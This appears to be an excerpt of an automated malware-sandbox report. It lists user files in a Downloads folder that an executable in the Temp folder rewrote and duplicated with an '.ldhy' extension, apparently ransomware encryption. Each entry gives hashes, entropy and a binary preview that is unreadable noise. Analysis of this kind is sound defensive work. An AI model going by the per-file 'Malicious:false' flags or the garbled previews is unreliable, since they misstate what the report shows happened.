                                                                                                                                                                                                                                                              Preview:EIVQSeZ.1..a.0.-+1.5...]..F4..n.x..\.*7zu.x..;.(....n..r,H..{...z...c:xZ.,..4...d.*] ..qq....S........F.5G..`..f..dLrVu!a.'^.]D*U..Nd.R`.h..,Mhu.q....."...GI.......3........8.h...x...4.*..b.. .'{.3.[.!.Ya...J..rV.\..E'<..-~;Od.#m.O...I.R....t..V.9.X..e.=.I.j.w4f...CY#Z..=...O><..?.qz...F7.{ ...%i95$.....0...e........,..6z..9.......tO.4mE.`......8u1.t..x.uG...P.......D..<o.0.Wr.Nw.8C.i|...K7..@....NBz:c\=..b.h..........O.jr..`.bU..(.z...+.b....1...)<..?......U....'P@..x 1...._.1....Vf6u.....W(.Bs...=.P...H!.sR.h....^a....I8g.w..&..cW=...y.............X.^E.de..[.4?...k..C@.V...._.J.,.... ..:x.j.S...E....IX..j.kS.Z........%Y...n_....!..b..).....h.X.\.....e..b.y.Z.6}.....RuF....w.M..@?.h.s._%....N..L....t8.......@^........3..".2,...YS5.$..!Q....5Pb+Mto.f.<.....ME..(..t^.u..\1..e.$..qWC...Z.........I.BHY.P.,b..*Bb..e.2c ..N...*..D.+vk.Z&..&....-i.j......E....x...0t....j..J.MG........l}.#1..^0..!..U..VF......#..[/r...=q.n.q~%%D%E]...O..[~.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\EIVQSAOTAQ.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8385655055057475
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RxGAO4RrvwhVoD4RRYnJbFBP//pSvpS7SH6xJP8oDpG2IrL29C0QWSe2YC3xsbD:nmcrvZ4RiJ5NQhS766xJPU5cCpddxmD
                                                                                                                                                                                                                                                              MD5:F9ED0E87ECC2896B751D0A6F55D814AB
                                                                                                                                                                                                                                                              SHA1:676ADB8F759D985C522715BF2FA226E0F603A4FE
                                                                                                                                                                                                                                                              SHA-256:22A33AD16E4DD448D7075D5301B155458E09BB5766445FEFE42959F284A14B35
                                                                                                                                                                                                                                                              SHA-512:8DE859079E330B4D006197954B4B93BCFC52F1A750CD8733CC5A827EA0621BC0E38267E782B71A0D3EC5D6B9C13F5883112060AB49DDBB5E741DA72699EA331F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSp.+.F.?G.......~........+..H.................ynE5..G2..~.Z.H.=.Si}."..{5....X...].Wl..j;F.(.y6....._.o.'....T..t.FMR.[...U.3Q...j.. ....<..B.>.....`.d.f2.V....2.H..Nd.I&6.7)...a{7.J......]z~2$...N]......'.5B.....MV.|.3.N..>).........8.~.,....{SM..n.r...B.k;".m....7...d...W\.V.'q...4.#...J.h.......AI..e..X.'....D..;..h.3x.....T...*...A]..s8.B..@Z..A=.vf.U@.N..,.8....P.)\U".....Z.p.R.......s..6.^.-....jr-...., ...p.h`....[.1..U..g.V2)......TAB....*.~!,).X..:...n.....@.....eX. ...!.ij,G.iN:^UH..o.B.HO...v...R.r....'7J...E.wH.....5...r.4f.Y.!*...%....-.$...NwRb...n.9.W..5Ue.}#.u...f..r.JV.Y.7.%K[aNdV..7..a%b.S.m.....H..........nnn.c.....UR.]wio.L..a..FvJ.&!/9...-..`...../.....+.b.......s..r_..s.7..........&.N..P.""p...`..........s......C...bB......YYvv..t..R.x.......v"...D03....4vu..#.*jS..Q.'..........M.h..u......Z.7L..1Q.@...P.3Z..x.(sU...Y.....X.3..T..C).r].o...j..X.......Pdk..*d..........x9.L........P2...W.e<.z.#.V.Hj...pn,.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\EIVQSAOTAQ.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8385655055057475
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RxGAO4RrvwhVoD4RRYnJbFBP//pSvpS7SH6xJP8oDpG2IrL29C0QWSe2YC3xsbD:nmcrvZ4RiJ5NQhS766xJPU5cCpddxmD
                                                                                                                                                                                                                                                              MD5:F9ED0E87ECC2896B751D0A6F55D814AB
                                                                                                                                                                                                                                                              SHA1:676ADB8F759D985C522715BF2FA226E0F603A4FE
                                                                                                                                                                                                                                                              SHA-256:22A33AD16E4DD448D7075D5301B155458E09BB5766445FEFE42959F284A14B35
                                                                                                                                                                                                                                                              SHA-512:8DE859079E330B4D006197954B4B93BCFC52F1A750CD8733CC5A827EA0621BC0E38267E782B71A0D3EC5D6B9C13F5883112060AB49DDBB5E741DA72699EA331F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQSp.+.F.?G.......~........+..H.................ynE5..G2..~.Z.H.=.Si}."..{5....X...].Wl..j;F.(.y6....._.o.'....T..t.FMR.[...U.3Q...j.. ....<..B.>.....`.d.f2.V....2.H..Nd.I&6.7)...a{7.J......]z~2$...N]......'.5B.....MV.|.3.N..>).........8.~.,....{SM..n.r...B.k;".m....7...d...W\.V.'q...4.#...J.h.......AI..e..X.'....D..;..h.3x.....T...*...A]..s8.B..@Z..A=.vf.U@.N..,.8....P.)\U".....Z.p.R.......s..6.^.-....jr-...., ...p.h`....[.1..U..g.V2)......TAB....*.~!,).X..:...n.....@.....eX. ...!.ij,G.iN:^UH..o.B.HO...v...R.r....'7J...E.wH.....5...r.4f.Y.!*...%....-.$...NwRb...n.9.W..5Ue.}#.u...f..r.JV.Y.7.%K[aNdV..7..a%b.S.m.....H..........nnn.c.....UR.]wio.L..a..FvJ.&!/9...-..`...../.....+.b.......s..r_..s.7..........&.N..P.""p...`..........s......C...bB......YYvv..t..R.x.......v"...D03....4vu..#.*jS..Q.'..........M.h..u......Z.7L..1Q.@...P.3Z..x.(sU...Y.....X.3..T..C).r].o...j..X.......Pdk..*d..........x9.L........P2...W.e<.z.#.V.Hj...pn,.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\EOWRVPQCCS.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848637978564555
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:qCLg/LnutE8GYgMCxYNy8LGXXEYC+g13kdy67un5kYHN1sumuFF9PDMyP9t6kdpE:qCou5PgjHHET13Uy67iGYHN1s637MS7y
                                                                                                                                                                                                                                                              MD5:1F3091354B6A3F00C6BED204DE77821A
                                                                                                                                                                                                                                                              SHA1:E60047AD8E6F3306074D871497FAE0D2E90E8020
                                                                                                                                                                                                                                                              SHA-256:969824AA265DFA9F8D191F24B11AB6E52F7A163D1AE9736BF5A620D3B33B0183
                                                                                                                                                                                                                                                              SHA-512:04A69C794D41836B3066A4408FE6665FBE4D37CB6A20D7165B56238D3E8436C3EC2F398A04EB0F24D792F13850B684E7D3A8422FEDB71585FF4BF492412A9E93
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRVH......8.4.......=.k.1.].......c..."...n.^.....s)...~c.\.e.{.A.7....?..h.I..T3...i?B....X',../.........~.;>..5.&0p..[....O..E.....<g.........&.../...P....cZA.....s......&&\N.....a.E5c...M:.*.0eT....q..UO(|h....8U..S..a*7......P..nBEc=s..r...m...O=.\...X6..Nc.hy..]X....wv1..Q..7...U#..c.$..}2.8Y....B|......=d.C...`1........\4......}...W...d.=9..#..92p.5|...MaS...0(d...B....._..:.%..n.7F9..4+..1.l.>`....$.E.|.Oo[......;L.;.jN.r.!...X....g .\...}......5.?.....$...O={..1j+.2.T..w..!.n..E..4...e;..A. ..D..!tF...........=O.YW..<l>...^+....(.4.Q|....9...- ...9 .^.i.K.'.....}...0c28.(.ST.h.(.].l....{..d..>........,...{J.Iw.5.S-..E.yv......,.B.(M..?.g.J.R.:...0<~...N@.0..r#g.J...e3.N..<.T}...hMm...H.i...f..U....F.\..._.7....W...Z..\.Ke....R.@...6..._...y.....p.S.W.G..Q..C"5...~.a..WH.N..&Y*4..p.yE0C...`V.........j..-.....-B....l..(F:.!`9.`.Z..rzl.\Q...k.7y[<.j.I.....Z.3..0...!....F.P. .........p...{..ve..b44.....>.[Lt.......E4...a..{..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\EOWRVPQCCS.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.848637978564555
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:qCLg/LnutE8GYgMCxYNy8LGXXEYC+g13kdy67un5kYHN1sumuFF9PDMyP9t6kdpE:qCou5PgjHHET13Uy67iGYHN1s637MS7y
                                                                                                                                                                                                                                                              MD5:1F3091354B6A3F00C6BED204DE77821A
                                                                                                                                                                                                                                                              SHA1:E60047AD8E6F3306074D871497FAE0D2E90E8020
                                                                                                                                                                                                                                                              SHA-256:969824AA265DFA9F8D191F24B11AB6E52F7A163D1AE9736BF5A620D3B33B0183
                                                                                                                                                                                                                                                              SHA-512:04A69C794D41836B3066A4408FE6665FBE4D37CB6A20D7165B56238D3E8436C3EC2F398A04EB0F24D792F13850B684E7D3A8422FEDB71585FF4BF492412A9E93
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRVH......8.4.......=.k.1.].......c..."...n.^.....s)...~c.\.e.{.A.7....?..h.I..T3...i?B....X',../.........~.;>..5.&0p..[....O..E.....<g.........&.../...P....cZA.....s......&&\N.....a.E5c...M:.*.0eT....q..UO(|h....8U..S..a*7......P..nBEc=s..r...m...O=.\...X6..Nc.hy..]X....wv1..Q..7...U#..c.$..}2.8Y....B|......=d.C...`1........\4......}...W...d.=9..#..92p.5|...MaS...0(d...B....._..:.%..n.7F9..4+..1.l.>`....$.E.|.Oo[......;L.;.jN.r.!...X....g .\...}......5.?.....$...O={..1j+.2.T..w..!.n..E..4...e;..A. ..D..!tF...........=O.YW..<l>...^+....(.4.Q|....9...- ...9 .^.i.K.'.....}...0c28.(.ST.h.(.].l....{..d..>........,...{J.Iw.5.S-..E.yv......,.B.(M..?.g.J.R.:...0<~...N@.0..r#g.J...e3.N..<.T}...hMm...H.i...f..U....F.\..._.7....W...Z..\.Ke....R.@...6..._...y.....p.S.W.G..Q..C"5...~.a..WH.N..&Y*4..p.yE0C...`V.........j..-.....-B....l..(F:.!`9.`.Z..rzl.\Q...k.7y[<.j.I.....Z.3..0...!....F.P. .........p...{..ve..b44.....>.[Lt.......E4...a..{..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.849754286957815
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:K637F+UBGdsLiOxkwE4hjtvy/U8pzH50QEomooo4KZiVEomUPsbD:b37F+UAd+xI4Jta/XGQ7vXjoDPmD
                                                                                                                                                                                                                                                              MD5:2C4F6CC90F1C81B34DD252A0F23E4181
                                                                                                                                                                                                                                                              SHA1:9B12EA8250D251F312E490DDB9160417252CAEA1
                                                                                                                                                                                                                                                              SHA-256:913DA727E4B503A56AAB604CA82EC57C9A2B3AE3478CBE9FB162FC372F9241D1
                                                                                                                                                                                                                                                              SHA-512:EDCE6B18BC2E04AA01601FA001659954E92068CC19F396DFD8777F81F6855A5CF6B87A6BDAA733DAF6730123D522C377C9152A1445428282A26CB08648AC85BA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.@iW..w%.4..Te.VX)&.!_~.......o......."9. .p..H}A)[.!.A&...V.a.6.4R.)...O.?.....9yIR.....9..4pE...<y.-'....lL..1.R.B.......[....O..O.fA..T."...L..J.r!.{\99E.3.x.4.M..l.t.H(.1.......&N9...nz...I..2..R..$D...Ji~G....Re5..A6Z..<.I.Aa7......?W.2._.;.V.|..\......5........^D...T.PQ/n...-.."T.'V-.8...h..."...?.D.nZ.1.qn2...@u..bf..ix....>.p..m....;J..u.Uq.o..;..29<.x.j...):..i..~.h........#.......O... ..B...{.....s......S.~\...Ky0.M...+..\*,.5v&.....}L. 1MQ...dp&...L..S.K`..... ...GC..Bh.{...p/8y...o.....(q.TV3....=.B(..F....ZG..!..:.h,.|.m..^Oc........9...+$..Jc...w.t....Q"e._v.J..S..h....il.<.j.{cy......>...........d.R....(.ISa.yb....7.!1w.K../..#".VG.s./..;.$..w..a+_6.P.oY......uI&%T....9<|..E.7.)..CF....PF....4q....t0.#......\wY....s..[.(C...mU.......>....`..f..nQ;.%.N...U.....N......z.r{w.nn]|.)...[J..~.....7......y.ps...$ X.k.<_[i.C....U9.6_.../......_.F.Y.S.A....z...rCU...>.....^...@.....g.../...$...Y..d.]d....#..=;9.W.4jG.....,..kz$0.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.849754286957815
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:K637F+UBGdsLiOxkwE4hjtvy/U8pzH50QEomooo4KZiVEomUPsbD:b37F+UAd+xI4Jta/XGQ7vXjoDPmD
                                                                                                                                                                                                                                                              MD5:2C4F6CC90F1C81B34DD252A0F23E4181
                                                                                                                                                                                                                                                              SHA1:9B12EA8250D251F312E490DDB9160417252CAEA1
                                                                                                                                                                                                                                                              SHA-256:913DA727E4B503A56AAB604CA82EC57C9A2B3AE3478CBE9FB162FC372F9241D1
                                                                                                                                                                                                                                                              SHA-512:EDCE6B18BC2E04AA01601FA001659954E92068CC19F396DFD8777F81F6855A5CF6B87A6BDAA733DAF6730123D522C377C9152A1445428282A26CB08648AC85BA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.@iW..w%.4..Te.VX)&.!_~.......o......."9. .p..H}A)[.!.A&...V.a.6.4R.)...O.?.....9yIR.....9..4pE...<y.-'....lL..1.R.B.......[....O..O.fA..T."...L..J.r!.{\99E.3.x.4.M..l.t.H(.1.......&N9...nz...I..2..R..$D...Ji~G....Re5..A6Z..<.I.Aa7......?W.2._.;.V.|..\......5........^D...T.PQ/n...-.."T.'V-.8...h..."...?.D.nZ.1.qn2...@u..bf..ix....>.p..m....;J..u.Uq.o..;..29<.x.j...):..i..~.h........#.......O... ..B...{.....s......S.~\...Ky0.M...+..\*,.5v&.....}L. 1MQ...dp&...L..S.K`..... ...GC..Bh.{...p/8y...o.....(q.TV3....=.B(..F....ZG..!..:.h,.|.m..^Oc........9...+$..Jc...w.t....Q"e._v.J..S..h....il.<.j.{cy......>...........d.R....(.ISa.yb....7.!1w.K../..#".VG.s./..;.$..w..a+_6.P.oY......uI&%T....9<|..E.7.)..CF....PF....4q....t0.#......\wY....s..[.(C...mU.......>....`..f..nQ;.%.N...U.....N......z.r{w.nn]|.)...[J..~.....7......y.ps...$ X.k.<_[i.C....U9.6_.../......_.F.Y.S.A....z...rCU...>.....^...@.....g.../...$...Y..d.]d....#..=;9.W.4jG.....,..kz$0.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852178636033091
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:GNhXb+aSD0duZJLtgSgLBaCl6rxz9Y9SRBDnhOijjgUjnzqPPW99hdCmFoWPRqb9:0hLNSDTZ6BaCuXVhO2j/jnGKlaWPGreo
                                                                                                                                                                                                                                                              MD5:55627EF4A6EF439A60A1D19958E21626
                                                                                                                                                                                                                                                              SHA1:CE1F8CBA027B32FB3DBB277F44FF8E7128B76A3A
                                                                                                                                                                                                                                                              SHA-256:70CE8A77EFB8BFD9E77511A7BD1DFAD094168E8B25F380BC993C9A93153ACC0B
                                                                                                                                                                                                                                                              SHA-512:AAB70166C5C80B1DB7BDF6F5DDF707A74FB6F3E1647BBD4ADB882B9309DD4CD6991C0C1C0F31B5E5B8082B554F87167C3D416A68539879D8988F575C110844F9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.Iv....Rb_..&:W..T..RLn.z.x15..E...T...O..r...5DH.8...^.dP.,.t..k...}AL..S.5..g.;'_.a.<.z."m=. \~^...;.....8F.b..h......ny.-..p4E...D.7T...Z..n(Y...A6tq.&.>.e..d..P..v.T.i.4.!...N....../...hnV........V'4.y....9No,....N)i..Q>.H......6%i..C.!m.. i'...~..F..;%J......n..&`.<>.h.B.r. .=.....G...Sc.....j....8..%.R...+..).s"].6B...a.!W..8.'.x....g<GN.]..tC....4.<...mv9.B....'... ..^=U..?A.$......16..&./..b...yl..<bs....D...b<./X...a.:QHi.7....:.........,.Y..............|U@5..V4'~.......u.......s........MU....J./..HYR.G...Z....(c"..+.1p.....[..}...m.L...O.m.!....!-].+....5.+.)...aq......M...pK.....8c7..F......:5=A.Oc..K..N...!1....@X.{..x........y.k/..z~k..t...O>...f..Oz.p..6..}.u..5,d.?..C...!.....I.&u.`|nM...L..)}/.}s..6....x/.). .`6..iy..................`a3NK..*.u..v)..2...RD...@.[.......q...p.].)?`...\..GZ......|En.t.s..{k...)1...9.#.N.C).8.m~..l....w...W.}.4p...#O...;/.V..y.g....Z..hu....4FG......G.]j....zB...c.a.a.7...y..e.MGr...v.gc<.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852178636033091
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:GNhXb+aSD0duZJLtgSgLBaCl6rxz9Y9SRBDnhOijjgUjnzqPPW99hdCmFoWPRqb9:0hLNSDTZ6BaCuXVhO2j/jnGKlaWPGreo
                                                                                                                                                                                                                                                              MD5:55627EF4A6EF439A60A1D19958E21626
                                                                                                                                                                                                                                                              SHA1:CE1F8CBA027B32FB3DBB277F44FF8E7128B76A3A
                                                                                                                                                                                                                                                              SHA-256:70CE8A77EFB8BFD9E77511A7BD1DFAD094168E8B25F380BC993C9A93153ACC0B
                                                                                                                                                                                                                                                              SHA-512:AAB70166C5C80B1DB7BDF6F5DDF707A74FB6F3E1647BBD4ADB882B9309DD4CD6991C0C1C0F31B5E5B8082B554F87167C3D416A68539879D8988F575C110844F9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD.Iv....Rb_..&:W..T..RLn.z.x15..E...T...O..r...5DH.8...^.dP.,.t..k...}AL..S.5..g.;'_.a.<.z."m=. \~^...;.....8F.b..h......ny.-..p4E...D.7T...Z..n(Y...A6tq.&.>.e..d..P..v.T.i.4.!...N....../...hnV........V'4.y....9No,....N)i..Q>.H......6%i..C.!m.. i'...~..F..;%J......n..&`.<>.h.B.r. .=.....G...Sc.....j....8..%.R...+..).s"].6B...a.!W..8.'.x....g<GN.]..tC....4.<...mv9.B....'... ..^=U..?A.$......16..&./..b...yl..<bs....D...b<./X...a.:QHi.7....:.........,.Y..............|U@5..V4'~.......u.......s........MU....J./..HYR.G...Z....(c"..+.1p.....[..}...m.L...O.m.!....!-].+....5.+.)...aq......M...pK.....8c7..F......:5=A.Oc..K..N...!1....@X.{..x........y.k/..z~k..t...O>...f..Oz.p..6..}.u..5,d.?..C...!.....I.&u.`|nM...L..)}/.}s..6....x/.). .`6..iy..................`a3NK..*.u..v)..2...RD...@.[.......q...p.].)?`...\..GZ......|En.t.s..{k...)1...9.#.N.C).8.m~..l....w...W.}.4p...#O...;/.V..y.g....Z..hu....4FG......G.]j....zB...c.a.a.7...y..e.MGr...v.gc<.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852597410121275
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:V76aqqiD4rsM7nl0a5JvMwcSFi+VPlINnqN1o0dvysRYKx7D/tEyzsbD:x6bqi0IMZMwZi+R3xRrxH/GyzmD
                                                                                                                                                                                                                                                              MD5:E4F6EE2EC6ACA1CEF08F28F13E3C330C
                                                                                                                                                                                                                                                              SHA1:73BAF0E036FA5B6DC5961BC47436ED1442C04731
                                                                                                                                                                                                                                                              SHA-256:05A34276401EC37E9CD8771862F403DA56242E6BD5D96121C2EEED837D62CF44
                                                                                                                                                                                                                                                              SHA-512:6906ACAD0A0EE3D1D940E291D7AD8BFC7AC2A5C335A6D9AC3F96D9F2E961F6AF8F3FD0632BE501F77066DA2CB5AEAE71EA0CA570612AFBDE540A49A8EFBA3E08
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..0.<]T......{..]:`u*....^Rt....3.....x...pk.....GnN...l.K(.A%.M-......^..?..x.1]..b....<B.......Q....bo.Vg...f...~.D^i......a.....(0%.t....oP)Q/....F.<ah.t.m.&'..+.5..`.%M.kC_$.\.)(/.....)...h38o0....VV.a.P.d'.....s.b.#;7.o.....+!.*.y.....Q....:.%u..r..1:m......@..k|2)J........TN+.-.....^..6?.V...#..DH[.,.{W;.s...O[.=...z.M."[w.a/Z..Z.L.....5.|..%..<..k+...q.\#...$C.'JI&Gg..f...2..c.0....D....R..(..L....`y....7#..........CB.t...$J@mnY.<..u....(:w..f.f..z.....!......W...N....[G$....;0..q)-..g.P...m...i........FD...U..... q.'WR*..m....Cq..7..8<...r.P.r.Y-k.....U.2.....(.;..T..........'.G~..%.p..i|}*fhP......a...\.....m.4T......70....5}g..\..i.f....cT..o..l..D........._.b..^..A../..q.f....i#I[.E6..../zs.Aw.....\.....Y. I.x.'....o]....yC.(.>.'.*..l{....IDO..j...O.._..].)..&.s..NH5q.....S.b....On7.a.8&..........x.....6...:......<G..n...=yIu@NV8...f$...2.}t.O.PT......=r.7.C...V........^3}_P9..W#.}..v.....!......Y..>..........X..4

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852597410121275
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:V76aqqiD4rsM7nl0a5JvMwcSFi+VPlINnqN1o0dvysRYKx7D/tEyzsbD:x6bqi0IMZMwZi+R3xRrxH/GyzmD
                                                                                                                                                                                                                                                              MD5:E4F6EE2EC6ACA1CEF08F28F13E3C330C
                                                                                                                                                                                                                                                              SHA1:73BAF0E036FA5B6DC5961BC47436ED1442C04731
                                                                                                                                                                                                                                                              SHA-256:05A34276401EC37E9CD8771862F403DA56242E6BD5D96121C2EEED837D62CF44
                                                                                                                                                                                                                                                              SHA-512:6906ACAD0A0EE3D1D940E291D7AD8BFC7AC2A5C335A6D9AC3F96D9F2E961F6AF8F3FD0632BE501F77066DA2CB5AEAE71EA0CA570612AFBDE540A49A8EFBA3E08
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD..0.<]T......{..]:`u*....^Rt....3.....x...pk.....GnN...l.K(.A%.M-......^..?..x.1]..b....<B.......Q....bo.Vg...f...~.D^i......a.....(0%.t....oP)Q/....F.<ah.t.m.&'..+.5..`.%M.kC_$.\.)(/.....)...h38o0....VV.a.P.d'.....s.b.#;7.o.....+!.*.y.....Q....:.%u..r..1:m......@..k|2)J........TN+.-.....^..6?.V...#..DH[.,.{W;.s...O[.=...z.M."[w.a/Z..Z.L.....5.|..%..<..k+...q.\#...$C.'JI&Gg..f...2..c.0....D....R..(..L....`y....7#..........CB.t...$J@mnY.<..u....(:w..f.f..z.....!......W...N....[G$....;0..q)-..g.P...m...i........FD...U..... q.'WR*..m....Cq..7..8<...r.P.r.Y-k.....U.2.....(.;..T..........'.G~..%.p..i|}*fhP......a...\.....m.4T......70....5}g..\..i.f....cT..o..l..D........._.b..^..A../..q.f....i#I[.E6..../zs.Aw.....\.....Y. I.x.'....o]....yC.(.>.'.*..l{....IDO..j...O.._..].)..&.s..NH5q.....S.b....On7.a.8&..........x.....6...:......<G..n...=yIu@NV8...f$...2.}t.O.PT......=r.7.C...V........^3}_P9..W#.}..v.....!......Y..>..........X..4

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\KLIZUSIQEN.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8572606159340745
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bBNVRR8huZ/R6A8vvVBPXHRl9ItrjEWxTgeFlhcBYEewqBkHQr491kRXnIhJsbD:JRRIjvXvHRl9INPggjyYEewmkwr491kl
                                                                                                                                                                                                                                                              MD5:565561B4BA4C3551E5D5ECE362B7C0C4
                                                                                                                                                                                                                                                              SHA1:C351CF056700CC57AE0339B58E1C39549FF1B9CE
                                                                                                                                                                                                                                                              SHA-256:884D64B6D1B5BB50BF715E2005DA5F3041F6BB4EEA72EA82C7EBFCC3E1C4CA22
                                                                                                                                                                                                                                                              SHA-512:EFD1895056540ADD58B0D11852253CB0D7C391E48A1FE706D0E5670AB0193CC3E0BE919C42B1F683EDB2F54A4690998F669040BCAA8EBDA3C85BE31B93AC5602
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU.:.....*.x.2>:...-.0...P1Z.'a:+.....#]x..M.D......z..'..|...Z..3d../Y.V[..(XRe..3$....:6.?t6....+...s..;xam......o.`.J.......Lp.F9.q...n...o..8......1....0....-.o...i...[y.@.>.......\._.<..!.9....W.Q.q...x..wMx.b.i/'...7.6.4+...V....V....$..$...N.....R>I*....91...!+z.!h.A.<.q;c...q..c.?,r.D.p&..\M..>..37..$a..\..+.z.....S.Jtw...?..."...4.L...#2....>i.....?.K..kqD..wc..P..&.}..jJ.B`L{..I.G.^g..d..h.........p.2.8...n.o....6.PBc4/V.o.X.u.$.Bt.qJj<..#s:#N.r.....j....o.....&.....C..a=B.m....D.=.Y#..C..m...^.Q..%.:e.....<.....M.X...(...O.X+.U..B...#...bW..........4.q?.J.SQ.M...u~.o......_S..NW...%..h.B...<...y.~...A.....M..N....<7.FGNF..{..^(R....._.80U......jdD...]...;..........m._...H.v..7L..5N|8O.. ..gf..;.[.[".n.Q/}....~..0..4..|....s.Y..ik|R..$>.P.......`.d.}..0..'<.EQ.D.(..h.h.nX..h...*........j...8.;1.-.5...c.R.{...s.+.?..\..... ....+.GD....D..x.|.....S|.%.#}.%N........GWC.a...~...ZG.....i.D..b.Qj[...j.5v...&....)...@W.....y.a{..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\KLIZUSIQEN.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
